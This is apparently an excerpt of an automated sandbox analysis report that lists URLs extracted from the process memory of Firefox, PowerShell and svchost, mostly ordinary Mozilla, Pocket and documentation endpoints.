Source: firefox.exe, 00000010.00000003.3257903707.000001A8B8D6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Error
Source: firefox.exe, 00000010.00000003.3214705586.000001A8C0269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1266220
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000010.00000003.3225852250.000001A8B8034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: firefox.exe, 00000010.00000003.3212468668.000001A8C02E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7B2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000010.00000003.3264434250.000001A8C317B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3330787150.000001A8B6F9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000010.00000003.3264232330.000001A8C333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000010.00000003.3246944068.000001A8B91AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: powershell.exe, 00000007.00000002.3051147504.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.3051147504.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.3051147504.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000010.00000003.3093590336.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3323580066.000001A8B6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3315084846.000001A8B3E30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datastudio.google.com/embed/reporting/
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsFea
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000010.00000003.3125375221.000001A8B7F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000010.00000003.3093590336.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000010.00000002.3343255794.000001A8B7E1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3049091889.000001A8B6D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3124581300.000001A8B80E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262099436.000001A8B89AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3186917673.000001A8B80D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sget
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3241215258.000001A8BE3B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3266404421.000001A8BE3B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000010.00000003.3115376435.000001A8C35FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3116798829.000001A8B716B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000010.00000002.3319593881.000001A8B4F50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3339830804.000001A8B7BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyB2h2OuRcUgy5N-5hsZqiPW6sH3n_rptiQ
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyB2h2OuRcUgy5N-5hsZqiPW6sH3n_rptiQParent
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: svchost.exe, 0000000C.00000003.2982483521.00000297488B3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.2982483521.0000029748840000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3241215258.000001A8BE3B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3266404421.000001A8BE3B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3239864513.000001A8BFFF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3239864513.000001A8BFFF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3239864513.000001A8BFFF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: firefox.exe, 00000010.00000003.3093590336.000001A8C3238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000010.00000003.3180111409.000001A8C3217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000010.00000003.3180111409.000001A8C3217000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
